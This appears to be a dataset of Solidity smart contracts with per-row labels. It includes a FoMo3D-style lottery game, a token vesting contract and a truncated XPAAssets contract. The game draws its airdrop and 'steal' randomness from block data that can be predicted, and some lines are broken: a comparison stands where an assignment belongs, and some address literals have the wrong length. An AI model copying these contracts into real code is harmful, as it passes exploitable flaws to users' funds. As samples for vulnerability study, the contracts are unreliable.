(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
}
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, uint256, uint256)
{
uint256 _rID = rID_;
return
(
_rID,
round_[_rID].allkeys,
round_[_rID].keys,
allGuGiven_,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
plyr_[round_[_rID].plyr].addr,
round_[_rID].eth,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getCurrentPhraseInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 _phID = phID_;
return
(
_phID,
phrase_[_phID].eth,
phrase_[_phID].guGiven,
phrase_[_phID].minEthRequired,
phrase_[_phID].guPoolAllocation
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
uint256 _phID = phID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].gu,
plyr_[_pID].laff,
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)).add(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth,
plyrPhas_[_pID][_phID].eth,
plyr_[_pID].referEth,
plyr_[_pID].withdraw
);
}
function buyCore(uint256 _pID, uint256 _affID)
whenNotPaused
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[rID_].strt + whitelistRange_) {
require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]);
}
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
endRound();
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
}
uint256 _availableLimit;
uint256 _refund;
if (round_[_rID].eth < ethLimiterRange1_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter1_)
{
_availableLimit = (ethLimiter1_).sub(plyrRnds_[_pID][_rID].eth);
_refund = _eth.sub(_availableLimit);
plyr_[_pID].refund = plyr_[_pID].refund.add(_refund);
_eth = _availableLimit;
} else if (round_[_rID].eth < ethLimiterRange2_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter2_)
{
_availableLimit = (ethLimiter2_).sub(plyrRnds_[_pID][_rID].eth);
_refund = _eth.sub(_availableLimit);
plyr_[_pID].refund = plyr_[_pID].refund.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1e9)
{
uint256 _keys = keysRec(round_[_rID].eth, _eth);
if (_keys >= 1e18)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
emit KeyPurchase(plyr_[round_[_rID].plyr].addr, _eth, _keys);
}
if (_eth >= 1e17)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 1e19)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 1e18 && _eth < 1e19) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 1e17 && _eth < 1e18) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
}
airDropTracker_ = 0;
}
}
leekStealGo();
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].playCtr++;
playOrders_[round_[_rID].playCtr] = pID_;
round_[_rID].allkeys = _keys.add(round_[_rID].allkeys);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
distributeExternal(_rID, _pID, _eth, _affID);
distributeInternal(_rID, _pID, _eth, _keys);
updateGuReferral(_pID, _affID, _eth);
checkDoubledProfit(_pID, _rID);
checkDoubledProfit(_affID, _rID);
}
}
function checkDoubledProfit(uint256 _pID, uint256 _rID)
private
{
uint256 _keys = plyrRnds_[_pID][_rID].keys;
if (_keys > 0) {
uint256 _balance = (plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd));
if (_balance.add(plyrRnds_[_pID][_rID].genWithdraw) >= (plyrRnds_[_pID][_rID].eth))
{
updateGenVault(_pID, plyr_[_pID].lrnd);
round_[_rID].keys = round_[_rID].keys.sub(_keys);
plyrRnds_[_pID][_rID].keys = plyrRnds_[_pID][_rID].keys.sub(_keys);
}
}
}
function keysRec(uint256 _curEth, uint256 _newEth)
private
returns (uint256)
{
uint256 _startEth;
uint256 _incrRate;
uint256 _initPrice;
if (_curEth < priceStage1_) {
_startEth = 0;
_initPrice = 33333;
_incrRate = 50000000;
}
else if (_curEth < priceStage2_) {
_startEth = priceStage1_;
_initPrice = 25000;
_incrRate = 50000000;
}
else if (_curEth < priceStage3_) {
_startEth = priceStage2_;
_initPrice = 20000;
_incrRate = 50000000;
}
else if (_curEth < priceStage4_) {
_startEth = priceStage3_;
_initPrice = 12500;
_incrRate = 26666666;
}
else if (_curEth < priceStage5_) {
_startEth = priceStage4_;
_initPrice = 5000;
_incrRate = 17777777;
}
else if (_curEth < priceStage6_) {
_startEth = priceStage5_;
_initPrice = 2500;
_incrRate = 10666666;
}
else if (_curEth < priceStage7_) {
_startEth = priceStage6_;
_initPrice = 1000;
_incrRate = 5688282;
}
else if (_curEth < priceStage8_) {
_startEth = priceStage7_;
_initPrice = 250;
_incrRate = 2709292;
}
else if (_curEth < priceStage9_) {
_startEth = priceStage8_;
_initPrice = 62;
_incrRate = 1161035;
}
else if (_curEth < priceStage10_) {
_startEth = priceStage9_;
_initPrice = 14;
_incrRate = 451467;
}
else if (_curEth < priceStage11_) {
_startEth = priceStage10_;
_initPrice = 2;
_incrRate = 144487;
}
else if (_curEth < priceStage12_) {
_startEth = priceStage11_;
_initPrice = 0;
_incrRate = 40128;
}
else {
_startEth = priceStage12_;
_initPrice = 0;
_incrRate = 40128;
}
return _newEth.mul(((_incrRate.mul(_initPrice)) / (_incrRate.add(_initPrice.mul((_curEth.sub(_startEth))/1e18)))));
}
function updateGuReferral(uint256 _pID, uint256 _affID, uint256 _eth) private {
uint256 _newPhID = updateGuPhrase();
if (phID_ < _newPhID) {
updateReferralMasks(phID_);
plyr_[1].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[1].gu);
plyr_[2].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[2].gu);
phrase_[_newPhID].guGiven = (phrase_[_newPhID].guPoolAllocation / 5).add(phrase_[_newPhID].guGiven);
allGuGiven_ = (phrase_[_newPhID].guPoolAllocation / 5).add(allGuGiven_);
phID_ = _newPhID;
}
if (_affID != 0 && _affID != _pID) {
plyrPhas_[_affID][_newPhID].eth = _eth.add(plyrPhas_[_affID][_newPhID].eth);
plyr_[_affID].referEth = _eth.add(plyr_[_affID].referEth);
phrase_[_newPhID].eth = _eth.add(phrase_[_newPhID].eth);
}
uint256 _remainGuReward = phrase_[_newPhID].guPoolAllocation.sub(phrase_[_newPhID].guGiven);
if (plyrPhas_[_affID][_newPhID].eth >= phrase_[_newPhID].minEthRequired && _remainGuReward >= 1e18) {
uint256 _totalReward = plyrPhas_[_affID][_newPhID].eth / phrase_[_newPhID].minEthRequired;
_totalReward = _totalReward.mul(1e18);
uint256 _rewarded = plyrPhas_[_affID][_newPhID].guRewarded;
uint256 _toReward = _totalReward.sub(_rewarded);
if (_remainGuReward < _toReward) _toReward = _remainGuReward;
if (_toReward > 0) {
plyr_[_affID].gu = _toReward.add(plyr_[_affID].gu);
plyrPhas_[_affID][_newPhID].guRewarded = _toReward.add(plyrPhas_[_affID][_newPhID].guRewarded);
phrase_[_newPhID].guGiven = 1e18.add(phrase_[_newPhID].guGiven);
allGuGiven_ = 1e18.add(allGuGiven_);
}
}
}
function updateReferralMasks(uint256 _phID) private {
uint256 _remainGu = phrase_[phID_].guPoolAllocation.sub(phrase_[phID_].guGiven);
if (_remainGu > 0 && phrase_[_phID].eth > 0) {
uint256 _gpe = (_remainGu.mul(1e18)) / phrase_[_phID].eth;
phrase_[_phID].mask = _gpe.add(phrase_[_phID].mask);
}
}
function transferGu(address _to, uint256 _guAmt)
public
whenNotPaused
returns (bool)
{
uint256 _pIDFrom = pIDxAddr_[msg.sender];
require(plyr_[_pIDFrom].addr == msg.sender);
uint256 _pIDTo = pIDxAddr_[_to];
plyr_[_pIDFrom].gu = plyr_[_pIDFrom].gu.sub(_guAmt);
plyr_[_pIDTo].gu = plyr_[_pIDTo].gu.add(_guAmt);
return true;
}
function updateGuPhrase()
private
returns (uint256)
{
if (now <= contractStartDate_ + guPhrase1_) {
phrase_[1].minEthRequired = 5e18;
phrase_[1].guPoolAllocation = 100e18;
return 1;
}
if (now <= contractStartDate_ + guPhrase2_) {
phrase_[2].minEthRequired = 4e18;
phrase_[2].guPoolAllocation = 200e18;
return 2;
}
if (now <= contractStartDate_ + guPhrase3_) {
phrase_[3].minEthRequired = 3e18;
phrase_[3].guPoolAllocation = 400e18;
return 3;
}
if (now <= contractStartDate_ + guPhrase4_) {
phrase_[4].minEthRequired = 2e18;
phrase_[4].guPoolAllocation = 800e18;
return 4;
}
if (now <= contractStartDate_ + guPhrase5_) {
phrase_[5].minEthRequired = 1e18;
phrase_[5].guPoolAllocation = 1600e18;
return 5;
}
if (now <= contractStartDate_ + guPhrase6_) {
phrase_[6].minEthRequired = 1e18;
phrase_[6].guPoolAllocation = 3200e18;
return 6;
}
if (now <= contractStartDate_ + guPhrase7_) {
phrase_[7].minEthRequired = 1e18;
phrase_[7].guPoolAllocation = 6400e18;
return 7;
}
if (now <= contractStartDate_ + guPhrase8_) {
phrase_[8].minEthRequired = 1e18;
phrase_[8].guPoolAllocation = 12800e18;
return 8;
}
if (now <= contractStartDate_ + guPhrase9_) {
phrase_[9].minEthRequired = 1e18;
phrase_[9].guPoolAllocation = 25600e18;
return 9;
}
if (now <= contractStartDate_ + guPhrase10_) {
phrase_[10].minEthRequired = 1e18;
phrase_[10].guPoolAllocation = 51200e18;
return 10;
}
phrase_[11].minEthRequired = 0;
phrase_[11].guPoolAllocation = 0;
return 11;
}
function leekStealGo() private {
uint leekStealToday_ = (now.sub(round_[rID_].strt) / 1 days);
if (dayStealTime_[leekStealToday_] == 0)
{
leekStealTracker_++;
if (randomNum(leekStealTracker_) == true)
{
dayStealTime_[leekStealToday_] = now;
leekStealOn_ = true;
}
}
}
function stealTheLeek() public {
if (leekStealOn_)
{
if (now.sub(dayStealTime_[leekStealToday_]) > 300)
{
leekStealOn_ = false;
} else {
if (leekStealPot_ > 1e18) {
uint256 _pID = pIDxAddr_[msg.sender];
plyr_[_pID].win = plyr_[_pID].win.add(1e18);
leekStealPot_ = leekStealPot_.sub(1e18);
}
}
}
}
function calcUnMaskedKeyEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
if ( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)) > (plyrRnds_[_pID][_rIDlast].maskKey) )
return( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)).sub(plyrRnds_[_pID][_rIDlast].maskKey) );
else
return 0;
}
function calcUnMaskedGuEarnings(uint256 _pID)
private
view
returns(uint256)
{
if ( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)) > (plyr_[_pID].maskGu) )
return( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)).sub(plyr_[_pID].maskGu) );
else
return 0;
}
function endRound()
private
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(40)) / 100;
uint256 _res = (_pot.mul(10)) / 100;
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
pay500Winners(_pot);
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
round_[_rID].pot = _res;
}
function pay500Winners(uint256 _pot) private {
uint256 _rID = rID_;
uint256 _plyCtr = round_[_rID].playCtr;
uint256 _win2 = _pot.mul(25).div(100).div(9);
for (uint256 i = _plyCtr.sub(9); i <= _plyCtr.sub(1); i++) {
plyr_[playOrders_[i]].win = _win2.add(plyr_[playOrders_[i]].win);
}
uint256 _win3 = _pot.mul(15).div(100).div(90);
for (uint256 j = _plyCtr.sub(99); j <= _plyCtr.sub(10); j++) {
plyr_[playOrders_[j]].win = _win3.add(plyr_[playOrders_[j]].win);
}
uint256 _win4 = _pot.mul(10).div(100).div(400);
for (uint256 k = _plyCtr.sub(499); k <= _plyCtr.sub(100); k++) {
plyr_[playOrders_[k]].win = _win4.add(plyr_[playOrders_[k]].win);
}
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedKeyEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].maskKey = _earnings.add(plyrRnds_[_pID][_rIDlast].maskKey);
}
}
function updateGenGuVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedGuEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].genGu = _earnings.add(plyr_[_pID].genGu);
plyr_[_pID].maskGu = _earnings.add(plyr_[_pID].maskGu);
}
}
function updateReferralGu(uint256 _pID)
private
{
uint256 _phID = phID_;
uint256 _lastClaimedPhID = plyr_[_pID].lastClaimedPhID;
uint256 _guShares;
for (uint i = (_lastClaimedPhID + 1); i < _phID; i++) {
_guShares = (((phrase_[i].mask).mul(plyrPhas_[_pID][i].eth))/1e18).add(_guShares);
plyr_[_pID].lastClaimedPhID = i;
phrase_[i].guGiven = _guShares.add(phrase_[i].guGiven);
plyrPhas_[_pID][i].guRewarded = _guShares.add(plyrPhas_[_pID][i].guRewarded);
}
plyr_[_pID].gu = _guShares.add(plyr_[_pID].gu);
plyr_[_pID].maskGu = ((allMaskGu_.mul(_guShares)) / 1e18).add(plyr_[_pID].maskGu);
allGuGiven_ = _guShares.add(allGuGiven_);
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function randomNum(uint256 _tracker)
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < _tracker)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
uint256 _com = _eth / 100;
address(WALLET_ETH_COM1).transfer(_com);
address(WALLET_ETH_COM2).transfer(_com);
uint256 _aff = _eth / 10;
if (_affID != _pID && _affID != 0) {
plyr_[_affID].aff = (_aff.mul(8)/10).add(plyr_[_affID].aff);
uint256 _affID2 = plyr_[_affID].laff;
if (_affID2 != _pID && _affID2 != 0) {
plyr_[_affID2].aff = (_aff.mul(2)/10).add(plyr_[_affID2].aff);
}
} else {
plyr_[1].aff = _aff.add(plyr_[_affID].aff);
}
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys)
private
{
uint256 _gen = (_eth.mul(40)) / 100;
uint256 _jcg = (_eth.mul(20)) / 100;
uint256 _air = (_eth.mul(3)) / 100;
airDropPot_ = airDropPot_.add(_air);
uint256 _steal = (_eth / 20);
leekStealPot_ = leekStealPot_.add(_steal);
_eth = _eth.sub(((_eth.mul(20)) / 100));
uint256 _pot = _eth.sub(_gen).sub(_jcg);
uint256 _dustKey = updateKeyMasks(_rID, _pID, _gen, _keys);
uint256 _dustGu = updateGuMasks(_pID, _jcg);
round_[_rID].pot = _pot.add(_dustKey).add(_dustGu).add(round_[_rID].pot);
}
function updateKeyMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1e18)) / (round_[_rID].keys);
round_[_rID].maskKey = _ppt.add(round_[_rID].maskKey);
uint256 _pearn = (_ppt.mul(_keys)) / (1e18);
plyrRnds_[_pID][_rID].maskKey = (((round_[_rID].maskKey.mul(_keys)) / (1e18)).sub(_pearn)).add(plyrRnds_[_pID][_rID].maskKey);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1e18)));
}
function updateGuMasks(uint256 _pID, uint256 _jcg)
private
returns(uint256)
{
if (allGuGiven_ > 0) {
uint256 _ppg = (_jcg.mul(1e18)) / allGuGiven_;
allMaskGu_ = _ppg.add(allMaskGu_);
uint256 _pearn = (_ppg.mul(plyr_[_pID].gu)) / (1e18);
plyr_[_pID].maskGu = (((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)).sub(_pearn)).add(plyr_[_pID].maskGu);
return (_jcg.sub((_ppg.mul(allGuGiven_)) / (1e18)));
} else {
return _jcg;
}
}
function withdrawEarnings(uint256 _pID, bool isWithdraw)
whenNotPaused
private
returns(uint256)
{
updateGenGuVault(_pID);
updateReferralGu(_pID);
updateGenVault(_pID, plyr_[_pID].lrnd);
if (isWithdraw) plyrRnds_[_pID][plyr_[_pID].lrnd].genWithdraw = plyr_[_pID].gen.add(plyrRnds_[_pID][plyr_[_pID].lrnd].genWithdraw);
uint256 _earnings = plyr_[_pID].gen.add(plyr_[_pID].win).add(plyr_[_pID].genGu).add(plyr_[_pID].aff).add(plyr_[_pID].refund);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].genGu = 0;
plyr_[_pID].aff = 0;
plyr_[_pID].refund = 0;
if (isWithdraw) plyr_[_pID].withdraw = _earnings.add(plyr_[_pID].withdraw);
}
return(_earnings);
}
bool public activated_ = false;
function activate()
onlyOwner
public
{
require(activated_ == false);
activated_ = true;
contractStartDate_ = now;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_;
}
}
library Datasets {
struct Player {
address addr;
uint256 win;
uint256 gen;
uint256 genGu;
uint256 aff;
uint256 refund;
uint256 lrnd;
uint256 laff;
uint256 withdraw;
uint256 maskGu;
uint256 gu;
uint256 referEth;
uint256 lastClaimedPhID;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 maskKey;
uint256 genWithdraw;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 allkeys;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 maskKey;
uint256 playCtr;
}
struct PlayerPhrases {
uint256 eth;
uint256 guRewarded;
}
struct Phrase {
uint256 eth;
uint256 guGiven;
uint256 mask;
uint256 minEthRequired;
uint256 guPoolAllocation;
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 9 |
pragma solidity 0.4.24;
contract ERC20TokenInterface {
function totalSupply () external constant returns (uint);
function balanceOf (address tokenOwner) external constant returns (uint balance);
function transfer (address to, uint tokens) external returns (bool success);
function transferFrom (address from, address to, uint tokens) external returns (bool success);
}
library SafeMath {
function mul (uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div (uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub (uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add (uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
contract DreamTokensVesting {
using SafeMath for uint256;
ERC20TokenInterface public dreamToken;
address public withdrawAddress;
struct VestingStage {
uint256 date;
uint256 tokensUnlockedPercentage;
}
VestingStage[5] public stages;
uint256 public vestingStartTimestamp = 1529398800;
uint256 public initialTokensBalance;
uint256 public tokensSent;
event Withdraw(uint256 amount, uint256 timestamp);
modifier onlyWithdrawAddress () {
require(msg.sender == withdrawAddress);
_;
}
constructor (ERC20TokenInterface token, address withdraw) public {
dreamToken = token;
withdrawAddress = withdraw;
initVestingStages();
}
function () external {
withdrawTokens();
}
function getAvailableTokensToWithdraw () public view returns (uint256 tokensToSend) {
uint256 tokensUnlockedPercentage = getTokensUnlockedPercentage();
if (tokensUnlockedPercentage >= 100) {
tokensToSend = dreamToken.balanceOf(this);
} else {
tokensToSend = getTokensAmountAllowedToWithdraw(tokensUnlockedPercentage);
}
}
function getStageAttributes (uint8 index) public view returns (uint256 date, uint256 tokensUnlockedPercentage) {
return (stages[index].date, stages[index].tokensUnlockedPercentage);
}
function initVestingStages () internal {
uint256 halfOfYear = 183 days;
uint256 year = halfOfYear * 2;
stages[0].date = vestingStartTimestamp;
stages[1].date = vestingStartTimestamp + halfOfYear;
stages[2].date = vestingStartTimestamp + year;
stages[3].date = vestingStartTimestamp + year + halfOfYear;
stages[4].date = vestingStartTimestamp + year * 2;
stages[0].tokensUnlockedPercentage = 25;
stages[1].tokensUnlockedPercentage = 50;
stages[2].tokensUnlockedPercentage = 75;
stages[3].tokensUnlockedPercentage = 88;
stages[4].tokensUnlockedPercentage = 100;
}
function withdrawTokens () onlyWithdrawAddress private {
if (initialTokensBalance == 0) {
setInitialTokensBalance();
}
uint256 tokensToSend = getAvailableTokensToWithdraw();
sendTokens(tokensToSend);
}
function setInitialTokensBalance () private {
initialTokensBalance = dreamToken.balanceOf(this);
}
function sendTokens (uint256 tokensToSend) private {
if (tokensToSend > 0) {
tokensSent = tokensSent.add(tokensToSend);
dreamToken.transfer(withdrawAddress, tokensToSend);
emit Withdraw(tokensToSend, now);
}
}
function getTokensAmountAllowedToWithdraw (uint256 tokensUnlockedPercentage) private view returns (uint256) {
uint256 totalTokensAllowedToWithdraw = initialTokensBalance.mul(tokensUnlockedPercentage).div(100);
uint256 unsentTokensAmount = totalTokensAllowedToWithdraw.sub(tokensSent);
return unsentTokensAmount;
}
function getTokensUnlockedPercentage () private view returns (uint256) {
uint256 allowedPercent;
for (uint8 i = 0; i < stages.length; i++) {
if (now >= stages[i].date) {
allowedPercent = stages[i].tokensUnlockedPercentage;
}
}
return allowedPercent;
}
}
contract ProTeamsAndTournamentOrganizersVesting is DreamTokensVesting {
constructor(ERC20TokenInterface token, address withdraw) DreamTokensVesting(token, withdraw) public {}
} | 1 | 2,497 |
pragma solidity ^0.4.21;
interface Token {
function totalSupply() constant external returns (uint256 ts);
function balanceOf(address _owner) constant external returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) constant external returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface XPAAssetToken {
function create(address user_, uint256 amount_) external returns(bool success);
function burn(uint256 amount_) external returns(bool success);
function burnFrom(address user_, uint256 amount_) external returns(bool success);
function getDefaultExchangeRate() external returns(uint256);
function getSymbol() external returns(bytes32);
}
interface Baliv {
function getPrice(address fromToken_, address toToken_) external view returns(uint256);
}
interface FundAccount {
function burn(address Token_, uint256 Amount_) external view returns(bool);
}
interface TokenFactory {
function createToken(string symbol_, string name_, uint256 defaultExchangeRate_) external returns(address);
function getPrice(address token_) external view returns(uint256);
function getAssetLength() external view returns(uint256);
function getAssetToken(uint256 index_) external view returns(address);
}
contract SafeMath {
function safeAdd(uint x, uint y)
internal
pure
returns(uint) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function safeSub(uint x, uint y)
internal
pure
returns(uint) {
require(x >= y);
uint256 z = x - y;
return z;
}
function safeMul(uint x, uint y)
internal
pure
returns(uint) {
uint z = x * y;
require((x == 0) || (z / x == y));
return z;
}
function safeDiv(uint x, uint y)
internal
pure
returns(uint) {
require(y > 0);
return x / y;
}
function random(uint N, uint salt)
internal
view
returns(uint) {
bytes32 hash = keccak256(block.number, msg.sender, salt);
return uint(hash) % N;
}
}
contract Authorization {
mapping(address => address) public agentBooks;
address public owner;
address public operator;
address public bank;
bool public powerStatus = true;
bool public forceOff = false;
function Authorization()
public
{
owner = msg.sender;
operator = msg.sender;
bank = msg.sender;
}
modifier onlyOwner
{
assert(msg.sender == owner);
_;
}
modifier onlyOperator
{
assert(msg.sender == operator || msg.sender == owner);
_;
}
modifier onlyActive
{
assert(powerStatus);
_;
}
function powerSwitch(
bool onOff_
)
public
onlyOperator
{
if(forceOff) {
powerStatus = false;
} else {
powerStatus = onOff_;
}
}
function transferOwnership(address newOwner_)
onlyOwner
public
{
owner = newOwner_;
}
function assignOperator(address user_)
public
onlyOwner
{
operator = user_;
agentBooks[bank] = user_;
}
function assignBank(address bank_)
public
onlyOwner
{
bank = bank_;
}
function assignAgent(
address agent_
)
public
{
agentBooks[msg.sender] = agent_;
}
function isRepresentor(
address representor_
)
public
view
returns(bool) {
return agentBooks[representor_] == msg.sender;
}
function getUser(
address representor_
)
internal
view
returns(address) {
return isRepresentor(representor_) ? representor_ : msg.sender;
}
}
contract XPAAssets is SafeMath, Authorization {
string public version = "0.5.0";
address public XPA = 0x0090528aeb3a2b736b780fd1b6c478bb7e1d643170;
address public oldXPAAssets = 0x0002992af1dd8140193b87d2ab620ca22f6e19f26c;
address public newXPAAssets = address(0);
address public tokenFactory = 0x001393F1fb2E243Ee68Efe172eBb6831772633A926;
uint256 public maxForceOffsetAmount = 1000000 ether;
uint256 public minForceOffsetAmount = 10000 ether;
event eMortgage(address, uint256);
event eWithdraw(address, address, uint256);
event eRepayment(address, address, uint256);
event eOffset(address, address, uint256);
event eExecuteOffset(uint256, address, uint256);
event eMigrate(address);
event eMigrateAmount(address);
mapping(address => uint256) public fromAmountBooks;
mapping(address => mapping(address => uint256)) public toAmountBooks;
mapping(address => uint256) public forceOffsetBooks;
mapping(address => bool) public migrateBooks;
address[] public xpaAsset;
address public fundAccount;
uint256 public profit = 0;
mapping(address => uint256) public unPaidFundAccount;
uint256 public initCanOffsetTime = 0;
uint256 public withdrawFeeRate = 0.02 ether;
uint256 public offsetFeeRate = 0.02 ether;
uint256 public forceOffsetBasicFeeRate = 0.02 ether;
uint256 public forceOffsetExecuteFeeRate = 0.01 ether;
uint256 public forceOffsetExtraFeeRate = 0.05 ether;
uint256 public forceOffsetExecuteMaxFee = 1000 ether;
function XPAAssets(
uint256 initCanOffsetTime_,
address XPAAddr,
address factoryAddr,
address oldXPAAssetsAddr
) public {
initCanOffsetTime = initCanOffsetTime_;
XPA = XPAAddr;
tokenFactory = factoryAddr;
oldXPAAssets = oldXPAAssetsAddr;
}
function setFundAccount(
address fundAccount_
)
public
onlyOperator
{
if(fundAccount_ != address(0)) {
fundAccount = fundAccount_;
}
}
function createToken(
string symbol_,
string name_,
uint256 defaultExchangeRate_
)
public
onlyOperator
{
address newAsset = TokenFactory(tokenFactory).createToken(symbol_, name_, defaultExchangeRate_);
